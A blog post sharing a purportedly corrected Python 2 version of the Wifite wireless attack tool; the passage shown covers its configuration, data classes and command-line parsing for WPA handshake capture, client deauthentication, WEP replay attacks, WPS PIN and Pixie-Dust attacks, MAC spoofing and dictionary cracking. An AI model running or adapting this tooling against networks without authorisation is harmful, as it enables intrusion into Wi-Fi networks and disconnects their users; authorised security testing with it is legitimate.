devbox
Monodyee
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

Wifite.py 修正版脚本代码

作者：Monodyee | 2024-04-25 21:05:44

赞

踩

handshakecapture wifite

Kali2.0系统自带的WiFite脚本代码中有几行错误，以下是修正后的代码:

  1. #!/usr/bin/python
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6.     wifite
  8.     author: derv82 at gmail
  9.     author: bwall @botnet_hunter (ballastsec@gmail.com)
  10.     author: drone @dronesec (ballastsec@gmail.com)
  12.     Thanks to everyone that contributed to this project.
  13.     If you helped in the past and want your name here, shoot me an email
  15.     Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  16.         available at: http://www.gnu.org/licenses/gpl-2.0.txt
  18.     (C) 2011 Derv Merkler
  20.     Ballast Security additions
  21.     -----------------
  22.      - No longer requires to be root to run -cracked
  23.      - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  24.          - Backwards compatibility
  25.      - Made a run configuration class to handle globals
  26.      - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  27.      - Changed the updater to grab files from GitHub and not Google Code
  28.      - Use argparse to parse command-line arguments
  29.      - -wepca flag now properly initialized if passed through CLI
  30.      - parse_csv uses python csv library
  31.     -----------------
  34.     TODO:
  36.     Restore same command-line switch names from v1
  38.     If device already in monitor mode, check for and, if applicable, use macchanger
  40.      WPS
  41.      * Mention reaver automatically resumes sessions
  42.      * Warning about length of time required for WPS attack (*hours*)
  43.      * Show time since last successful attempt
  44.      * Percentage of tries/attempts ?
  45.      * Update code to work with reaver 1.4 ("x" sec/att)
  47.      WEP:
  48.      * ability to pause/skip/continue    (done, not tested)
  49.      * Option to capture only IVS packets (uses --output-format ivs,csv)
  50.        - not compatible on older aircrack-ng's.
  51.            - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  52.          - would cut down on size of saved .caps
  54.      reaver:
  55.           MONITOR ACTIVITY!
  56.           - Enter ESSID when executing (?)
  57.        - Ensure WPS key attempts have begun.
  58.        - If no attempts can be made, stop attack
  60.        - During attack, if no attempts are made within X minutes, stop attack & Print
  62.        - Reaver's output when unable to associate:
  63.          [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  64.        - If failed to associate for x minutes, stop attack (same as no attempts?)
  66.     MIGHTDO:
  67.       * WPA - crack (pyrit/cowpatty) (not really important)
  68.       * Test injection at startup? (skippable via command-line switch)
  70. """
  71.  
  72. # ############
  73. # LIBRARIES #
  74. #############
  75.  
  76. import csv  # Exporting and importing cracked aps
  77. import os  # File management
  78. import time  # Measuring attack intervals
  79. import random  # Generating a random MAC address.
  80. import errno  # Error numbers
  81.  
  82. from sys import argv  # Command-line arguments
  83. from sys import stdout  # Flushing
  84.  
  85. from shutil import copy  # Copying .cap files
  86.  
  87. # Executing, communicating with, killing processes
  88. from subprocess import Popen, call, PIPE
  89. from signal import SIGINT, SIGTERM
  90.  
  91. import re  # RegEx, Converting SSID to filename
  92. import argparse  # arg parsing
  93. import urllib  # Check for new versions from the repo
  94. import abc  # abstract base class libraries for attack templates
  95.  
  96.  
  97. ################################
  98. # GLOBAL VARIABLES IN ALL CAPS #
  99. ################################
  100.  
  101. # Console colors
  102. W = '\033[0m'  # white (normal)
  103. R = '\033[31m'  # red
  104. G = '\033[32m'  # green
  105. O = '\033[33m'  # orange
  106. B = '\033[34m'  # blue
  107. P = '\033[35m'  # purple
  108. C = '\033[36m'  # cyan
  109. GR = '\033[37m'  # gray
  110.  
  111. # /dev/null, send output from programs so they don't print to screen.
  112. DN = open(os.devnull, 'w')
  113. ERRLOG = open(os.devnull, 'w')
  114. OUTLOG = open(os.devnull, 'w')
  115.  
  116. ###################
  117. # DATA STRUCTURES #
  118. ###################
  119.  
  120.  
  121. class CapFile:
  122.     """
  123.         Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  124.     """
  125.  
  126.     def __init__(self, filename, ssid, bssid):
  127.         self.filename = filename
  128.         self.ssid = ssid
  129.         self.bssid = bssid
  130.  
  131.  
  132. class Target:
  133.     """
  134.         Holds data for a Target (aka Access Point aka Router)
  135.     """
  136.  
  137.     def __init__(self, bssid, power, data, channel, encryption, ssid):
  138.         self.bssid = bssid
  139.         self.power = power
  140.         self.data = data
  141.         self.channel = channel
  142.         self.encryption = encryption
  143.         self.ssid = ssid
  144.         self.wps = False  # Default to non-WPS-enabled router.
  145.         self.key = ''
  146.  
  147.  
  148. class Client:
  149.     """
  150.         Holds data for a Client (device connected to Access Point/Router)
  151.     """
  152.  
  153.     def __init__(self, bssid, station, power):
  154.         self.bssid = bssid
  155.         self.station = station
  156.         self.power = power
  157.  
  158.  
  159. class RunConfiguration:
  160.     """
  161.         Configuration for this rounds of attacks
  162.     """
  163.  
  164.     def __init__(self):
  165.         self.REVISION = 87;
  166.         self.PRINTED_SCANNING = False
  167.  
  168.         self.TX_POWER = 0  # Transmit power for wireless interface, 0 uses default power
  169.  
  170.         # WPA variables
  171.         self.WPA_DISABLE = False  # Flag to skip WPA handshake capture
  172.         self.WPA_STRIP_HANDSHAKE = True  # Use pyrit or tshark (if applicable) to strip handshake
  173.         self.WPA_DEAUTH_COUNT = 5  # Count to send deauthentication packets
  174.         self.WPA_DEAUTH_TIMEOUT = 10  # Time to wait between deauthentication bursts (in seconds)
  175.         self.WPA_ATTACK_TIMEOUT = 500  # Total time to allow for a handshake attack (in seconds)
  176.         self.WPA_HANDSHAKE_DIR = 'hs'  # Directory in which handshakes .cap files are stored
  177.         # Strip file path separator if needed
  178.         if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  179.             self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  180.  
  181.         self.WPA_FINDINGS = []  # List of strings containing info on successful WPA attacks
  182.         self.WPA_DONT_CRACK = False  # Flag to skip cracking of handshakes
  183.         if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  184.             self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  185.         elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  186.             self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  187.         else:
  188.             self.WPA_DICTIONARY = ''
  189.  
  190.         # Various programs to use when checking for a four-way handshake.
  191.         # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  192.         # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  193.         self.WPA_HANDSHAKE_TSHARK = True  # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  194.         self.WPA_HANDSHAKE_PYRIT = False  # Sometimes crashes on incomplete dumps, but accurate.
  195.         self.WPA_HANDSHAKE_AIRCRACK = True  # Not 100% accurate, but fast.
  196.         self.WPA_HANDSHAKE_COWPATTY = False  # Uses more lenient "nonstrict mode" (-2)
  197.  
  198.         # WEP variables
  199.         self.WEP_DISABLE = False  # Flag for ignoring WEP networks
  200.         self.WEP_PPS = 600  # packets per second (Tx rate)
  201.         self.WEP_TIMEOUT = 600  # Amount of time to give each attack
  202.         self.WEP_ARP_REPLAY = True  # Various WEP-based attacks via aireplay-ng
  203.         self.WEP_CHOPCHOP = True  #
  204.         self.WEP_FRAGMENT = True  #
  205.         self.WEP_CAFFELATTE = True  #
  206.         self.WEP_P0841 = True
  207.         self.WEP_HIRTE = True
  208.         self.WEP_CRACK_AT_IVS = 10000  # Number of IVS at which we start cracking
  209.         self.WEP_IGNORE_FAKEAUTH = True  # When True, continues attack despite fake authentication failure
  210.         self.WEP_FINDINGS = []  # List of strings containing info on successful WEP attacks.
  211.         self.WEP_SAVE = False  # Save packets.
  212.  
  213.         # WPS variables
  214.         self.WPS_DISABLE = False  # Flag to skip WPS scan and attacks
  215.         self.PIXIE = False
  216.         self.WPS_FINDINGS = []  # List of (successful) results of WPS attacks
  217.         self.WPS_TIMEOUT = 660  # Time to wait (in seconds) for successful PIN attempt
  218.         self.WPS_RATIO_THRESHOLD = 0.01  # Lowest percentage of tries/attempts allowed (where tries > 0)
  219.         self.WPS_MAX_RETRIES = 0  # Number of times to re-try the same pin before giving up completely.
  220.  
  221.  
  222.         # Program variables
  223.         self.SHOW_ALREADY_CRACKED = False  # Says whether to show already cracked APs as options to crack
  224.         self.WIRELESS_IFACE = ''  # User-defined interface
  225.         self.MONITOR_IFACE = ''  # User-defined interface already in monitor mode
  226.         self.TARGET_CHANNEL = 0  # User-defined channel to scan on
  227.         self.TARGET_ESSID = ''  # User-defined ESSID of specific target to attack
  228.         self.TARGET_BSSID = ''  # User-defined BSSID of specific target to attack
  229.         self.IFACE_TO_TAKE_DOWN = ''  # Interface that wifite puts into monitor mode
  230.         # It's our job to put it out of monitor mode after the attacks
  231.         self.ORIGINAL_IFACE_MAC = ('', '')  # Original interface name[0] and MAC address[1] (before spoofing)
  232.         self.DO_NOT_CHANGE_MAC = True  # Flag for disabling MAC anonymizer
  233.         self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
  234.         self.TARGETS_REMAINING = 0  # Number of access points remaining to attack
  235.         self.WPA_CAPS_TO_CRACK = []  # list of .cap files to crack (full of CapFile objects)
  236.         self.THIS_MAC = ''  # The interfaces current MAC address.
  237.         self.SHOW_MAC_IN_SCAN = False  # Display MACs of the SSIDs in the list of targets
  238.         self.CRACKED_TARGETS = []  # List of targets we have already cracked
  239.         self.ATTACK_ALL_TARGETS = False  # Flag for when we want to attack *everyone*
  240.         self.ATTACK_MIN_POWER = 0  # Minimum power (dB) for access point to be considered a target
  241.         self.VERBOSE_APS = True  # Print access points as they appear
  242.         self.CRACKED_TARGETS = self.load_cracked()
  243.         old_cracked = self.load_old_cracked()
  244.         if len(old_cracked) > 0:
  245.             # Merge the results
  246.             for OC in old_cracked:
  247.                 new = True
  248.                 for NC in self.CRACKED_TARGETS:
  249.                     if OC.bssid == NC.bssid:
  250.                         new = False
  251.                         break
  252.                 # If Target isn't in the other list
  253.                 # Add and save to disk
  254.                 if new:
  255.                     self.save_cracked(OC)
  256.  
  257.     def ConfirmRunningAsRoot(self):
  258.         if os.getuid() != 0:
  259.             print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  260.             print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  261.             exit(1)
  262.  
  263.     def ConfirmCorrectPlatform(self):
  264.         if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]:  # OSX support, 'cause why not?
  265.             print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  266.             exit(1)
  267.  
  268.     def CreateTempFolder(self):
  269.         from tempfile import mkdtemp
  270.  
  271.         self.temp = mkdtemp(prefix='wifite')
  272.         if not self.temp.endswith(os.sep):
  273.             self.temp += os.sep
  274.  
  275.     def save_cracked(self, target):
  276.         """
  277.             Saves cracked access point key and info to a file.
  278.         """
  279.         self.CRACKED_TARGETS.append(target)
  280.         with open('cracked.csv', 'wb') as csvfile:
  281.             targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  282.             for target in self.CRACKED_TARGETS:
  283.                 targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  284.  
  285.     def load_cracked(self):
  286.         """
  287.             Loads info about cracked access points into list, returns list.
  288.         """
  289.         result = []
  290.         if not os.path.exists('cracked.csv'): return result
  291.         with open('cracked.csv', 'rb') as csvfile:
  292.             targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  293.             for row in targetreader:
  294.                 t = Target(row[0], 0, 0, 0, row[1], row[2])
  295.                 t.key = row[3]
  296.                 t.wps = row[4]
  297.                 result.append(t)
  298.         return result
  299.  
  300.     def load_old_cracked(self):
  301.         """
  302.                 Loads info about cracked access points into list, returns list.
  303.         """
  304.         result = []
  305.         if not os.path.exists('cracked.txt'):
  306.             return result
  307.         fin = open('cracked.txt', 'r')
  308.         lines = fin.read().split('\n')
  309.         fin.close()
  310.  
  311.         for line in lines:
  312.             fields = line.split(chr(0))
  313.             if len(fields) <= 3:
  314.                 continue
  315.             tar = Target(fields[0], '', '', '', fields[3], fields[1])
  316.             tar.key = fields[2]
  317.             result.append(tar)
  318.         return result
  319.  
  320.     def exit_gracefully(self, code=0):
  321.         """
  322.             We may exit the program at any time.
  323.             We want to remove the temp folder and any files contained within it.
  324.             Removes the temp files/folder and exists with error code "code".
  325.         """
  326.         # Remove temp files and folder
  327.         if os.path.exists(self.temp):
  328.             for f in os.listdir(self.temp):
  329.                 os.remove(self.temp + f)
  330.             os.rmdir(self.temp)
  331.         # Disable monitor mode if enabled by us
  332.         self.RUN_ENGINE.disable_monitor_mode()
  333.         # Change MAC address back if spoofed
  334.         mac_change_back()
  335.         print GR + " [+]" + W + " quitting"  # wifite will now exit"
  336.         print ''
  337.         # GTFO
  338.         exit(code)
  339.  
  340.     def handle_args(self):
  341.         """
  342.             Handles command-line arguments, sets global variables.
  343.         """
  344.         set_encrypt = False
  345.         set_hscheck = False
  346.         set_wep = False
  347.         capfile = ''  # Filename of .cap file to analyze for handshakes
  348.  
  349.         opt_parser = self.build_opt_parser()
  350.         options = opt_parser.parse_args()
  351.  
  352.         try:
  353.             if not set_encrypt and (options.wpa or options.wep or options.wps):
  354.                 self.WPS_DISABLE = True
  355.                 self.WPA_DISABLE = True
  356.                 self.WEP_DISABLE = True
  357.                 set_encrypt = True
  358.             if options.recrack:
  359.                 self.SHOW_ALREADY_CRACKED = True
  360.                 print GR + ' [+]' + W + ' including already cracked networks in targets.'
  361.             if options.wpa:
  362.                 if options.wps:
  363.                     print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  364.                 else:
  365.                     print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  366.                 self.WPA_DISABLE = False
  367.             if options.wep:
  368.                 print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  369.                 self.WEP_DISABLE = False
  370.             if options.wps:
  371.                 print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  372.                 self.WPS_DISABLE = False
  373.             if options.pixie:
  374.                 print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  375.                 print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
  376.                 self.WPS_DISABLE = False
  377.                 self.WEP_DISABLE = True
  378.                 self.PIXIE = True
  379.             if options.channel:
  380.                 try:
  381.                     self.TARGET_CHANNEL = int(options.channel)
  382.                 except ValueError:
  383.                     print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  384.                 except IndexError:
  385.                     print O + ' [!]' + R + ' no channel given!' + W
  386.                 else:
  387.                     print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  388.             if options.mac_anon:
  389.                 print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  390.                 print O + '      not: only works if device is not already in monitor mode!' + W
  391.                 self.DO_NOT_CHANGE_MAC = False
  392.             if options.interface:
  393.                 self.WIRELESS_IFACE = options.interface
  394.                 print GR + ' [+]' + W + ' set interface: %s' % (G + self.WIRELESS_IFACE + W)
  395.             if options.monitor_interface:
  396.                 self.MONITOR_IFACE = options.monitor_interface
  397.                 print GR + ' [+]' + W + ' set interface already in monitor mode: %s' % (G + self.MONITOR_IFACE + W)
  398.             if options.nodeauth:
  399.                 self.SEND_DEAUTHS = False
  400.                 print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
  401.             if options.essid:
  402.                 try:
  403.                     self.TARGET_ESSID = options.essid
  404.                 except ValueError:
  405.                     print R + ' [!]' + O + ' no ESSID given!' + W
  406.                 else:
  407.                     print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  408.             if options.bssid:
  409.                 try:
  410.                     self.TARGET_BSSID = options.bssid
  411.                 except ValueError:
  412.                     print R + ' [!]' + O + ' no BSSID given!' + W
  413.                 else:
  414.                     print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  415.             if options.showb:
  416.                 self.SHOW_MAC_IN_SCAN = True
  417.                 print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  418.             if options.all:
  419.                 self.ATTACK_ALL_TARGETS = True
  420.                 print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  421.             if options.power:
  422.                 try:
  423.                     self.ATTACK_MIN_POWER = int(options.power)
  424.                 except ValueError:
  425.                     print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  426.                 except IndexError:
  427.                     print R + ' [!]' + O + ' no power level given!' + W
  428.                 else:
  429.                     print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  430.             if options.tx:
  431.                 try:
  432.                     self.TX_POWER = int(options.tx)
  433.                 except ValueError:
  434.                     print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  435.                 except IndexError:
  436.                     print R + ' [!]' + O + ' no TX power level given!' + W
  437.                 else:
  438.                     print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  439.             if options.quiet:
  440.                 self.VERBOSE_APS = False
  441.                 print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  442.             if options.check:
  443.                 try:
  444.                     capfile = options.check
  445.                 except IndexError:
  446.                     print R + ' [!]' + O + ' unable to analyze capture file' + W
  447.                     print R + ' [!]' + O + ' no cap file given!\n' + W
  448.                     self.exit_gracefully(1)
  449.                 else:
  450.                     if not os.path.exists(capfile):
  451.                         print R + ' [!]' + O + ' unable to analyze capture file!' + W
  452.                         print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  453.                         self.exit_gracefully(1)
  454.             if options.update:
  455.                 self.upgrade()
  456.                 exit(0)
  457.             if options.cracked:
  458.                 if len(self.CRACKED_TARGETS) == 0:
  459.                     print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  460.                     self.exit_gracefully(1)
  461.                 print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  462.                 for victim in self.CRACKED_TARGETS:
  463.                     if victim.wps != False:
  464.                         print '     %s (%s) : "%s" - Pin: %s' % (
  465.                         C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  466.                     else:
  467.                         print '     %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  468.                 print ''
  469.                 self.exit_gracefully(0)
  470.             # WPA
  471.             if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  472.                 self.WPA_HANDSHAKE_TSHARK = False
  473.                 self.WPA_HANDSHAKE_PYRIT = False
  474.                 self.WPA_HANDSHAKE_COWPATTY = False
  475.                 self.WPA_HANDSHAKE_AIRCRACK = False
  476.                 set_hscheck = True
  477.             if options.strip:
  478.                 self.WPA_STRIP_HANDSHAKE = True
  479.                 print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  480.             if options.wpadt:
  481.                 try:
  482.                     self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  483.                 except ValueError:
  484.                     print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  485.                 except IndexError:
  486.                     print R + ' [!]' + O + ' no deauth timeout given!' + W
  487.                 else:
  488.                     print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  489.             if options.wpat:
  490.                 try:
  491.                     self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  492.                 except ValueError:
  493.                     print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  494.                 except IndexError:
  495.                     print R + ' [!]' + O + ' no attack timeout given!' + W
  496.                 else:
  497.                     print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  498.             if options.crack:
  499.                 self.WPA_DONT_CRACK = False
  500.                 print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  501.                 if options.dic:
  502.                     try:
  503.                         self.WPA_DICTIONARY = options.dic
  504.                     except IndexError:
  505.                         print R + ' [!]' + O + ' no WPA dictionary given!'
  506.                     else:
  507.                         if os.path.exists(options.dic):
  508.                             print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  509.                         else:
  510.                             print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  511.                 else:
  512.                     print R + ' [!]' + O + ' WPA dictionary file not given!'
  513.                     self.exit_gracefully(1)
  514.             if options.tshark:
  515.                 self.WPA_HANDSHAKE_TSHARK = True
  516.                 print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  517.             if options.pyrit:
  518.                 self.WPA_HANDSHAKE_PYRIT = True
  519.                 print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  520.             if options.aircrack:
  521.                 self.WPA_HANDSHAKE_AIRCRACK = True
  522.                 print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  523.             if options.cowpatty:
  524.                 self.WPA_HANDSHAKE_COWPATTY = True
  525.                 print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  526.  
  527.             # WEP
  528.             if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  529.                     or options.p0841 or options.hirte:
  530.                 self.WEP_CHOPCHOP = False
  531.                 self.WEP_ARPREPLAY = False
  532.                 self.WEP_CAFFELATTE = False
  533.                 self.WEP_FRAGMENT = False
  534.                 self.WEP_P0841 = False
  535.                 self.WEP_HIRTE = False
  536.             if options.chopchop:
  537.                 print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  538.                 self.WEP_CHOPCHOP = True
  539.             if options.fragment:
  540.                 print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  541.                 self.WEP_FRAGMENT = True
  542.             if options.caffeelatte:
  543.                 print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  544.                 self.WEP_CAFFELATTE = True
  545.             if options.arpreplay:
  546.                 print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  547.                 self.WEP_ARPREPLAY = True
  548.             if options.p0841:
  549.                 print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  550.                 self.WEP_P0841 = True
  551.             if options.hirte:
  552.                 print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  553.                 self.WEP_HIRTE = True
  554.             if options.fakeauth:
  555.                 print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  556.                 self.WEP_IGNORE_FAKEAUTH = False
  557.             if options.wepca:
  558.                 try:
  559.                     self.WEP_CRACK_AT_IVS = int(options.wepca)
  560.                 except ValueError:
  561.                     print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  562.                 except IndexError:
  563.                     print R + ' [!]' + O + ' no IV number specified!' + W
  564.                 else:
  565.                     print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  566.                     G + str(self.WEP_CRACK_AT_IVS) + W)
  567.             if options.wept:
  568.                 try:
  569.                     self.WEP_TIMEOUT = int(options.wept)
  570.                 except ValueError:
  571.                     print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  572.                 except IndexError:
  573.                     print R + ' [!]' + O + ' no timeout given!' + W
  574.                 else:
  575.                     print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  576.                     G + str(self.WEP_TIMEOUT) + " seconds" + W)
  577.             if options.pps:
  578.                 try:
  579.                     self.WEP_PPS = int(options.pps)
  580.                 except ValueError:
  581.                     print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  582.                 except IndexError:
  583.                     print R + ' [!]' + O + ' no value given!' + W
  584.                 else:
  585.                     print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  586.                     G + str(options.pps) + " packets/sec" + W)
  587.             if options.wepsave:
  588.                 self.WEP_SAVE = True
  589.                 print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  590.  
  591.             # WPS
  592.             if options.wpst:
  593.                 try:
  594.                     self.WPS_TIMEOUT = int(options.wpst)
  595.                 except ValueError:
  596.                     print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  597.                 except IndexError:
  598.                     print R + ' [!]' + O + ' no timeout given!' + W
  599.                 else:
  600.                     print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  601.                     G + str(self.WPS_TIMEOUT) + " seconds" + W)
  602.             if options.wpsratio:
  603.                 try:
  604.                     self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  605.                 except ValueError:
  606.                     print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  607.                 except IndexError:
  608.                     print R + ' [!]' + O + ' no ratio given!' + W
  609.                 else:
  610.                     print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  611.                     G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  612.             if options.wpsretry:
  613.                 try:
  614.                     self.WPS_MAX_RETRIES = int(options.wpsretry)
  615.                 except ValueError:
  616.                     print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  617.                 except IndexError:
  618.                     print R + ' [!]' + O + ' no number given!' + W
  619.                 else:
  620.                     print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  621.                     G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  622.  
  623.         except IndexError:
  624.             print '\nindexerror\n\n'
  625.  
  626.         if capfile != '':
  627.             self.RUN_ENGINE.analyze_capfile(capfile)
  628.         print ''
  629.  
  630.     def build_opt_parser(self):
  631.         """ Options are doubled for backwards compatability; will be removed soon and
  632.             fully moved to GNU-style
  633.         """
  634.         option_parser = argparse.ArgumentParser()
  635.  
  636.         # set commands
  637.         command_group = option_parser.add_argument_group('COMMAND')
  638.         command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  639.         command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  640.         command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  641.                                    dest='cracked')
  642.         command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  643.         command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  644.                                    action='store_true', dest='recrack')
  645.         command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  646.  
  647.         # set global
  648.         global_group = option_parser.add_argument_group('GLOBAL')
  649.         global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  650.         global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  651.         global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  652.         global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  653.                                   dest='mac_anon')
  654.         global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  655.         global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  656.                                   dest='monitor_interface')
  657.         global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  658.         global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  659.                                   dest='essid')
  660.         global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  661.                                   dest='bssid')
  662.         global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  663.                                   dest='showb')
  664.         global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  665.         global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
  666.         global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  667.                                   dest='power')
  668.         global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  669.         global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  670.         global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  671.         global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  672.                                   dest='quiet')
  673.         global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  674.         global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true',
  675.                                   dest='update')
  676.         global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update')
  677.         # set wpa commands
  678.         wpa_group = option_parser.add_argument_group('WPA')
  679.         wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  680.                                action='store_true', dest='wpa')
  681.         wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  682.         wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  683.                                dest='wpat')
  684.         wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  685.         wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  686.                                dest='wpadt')
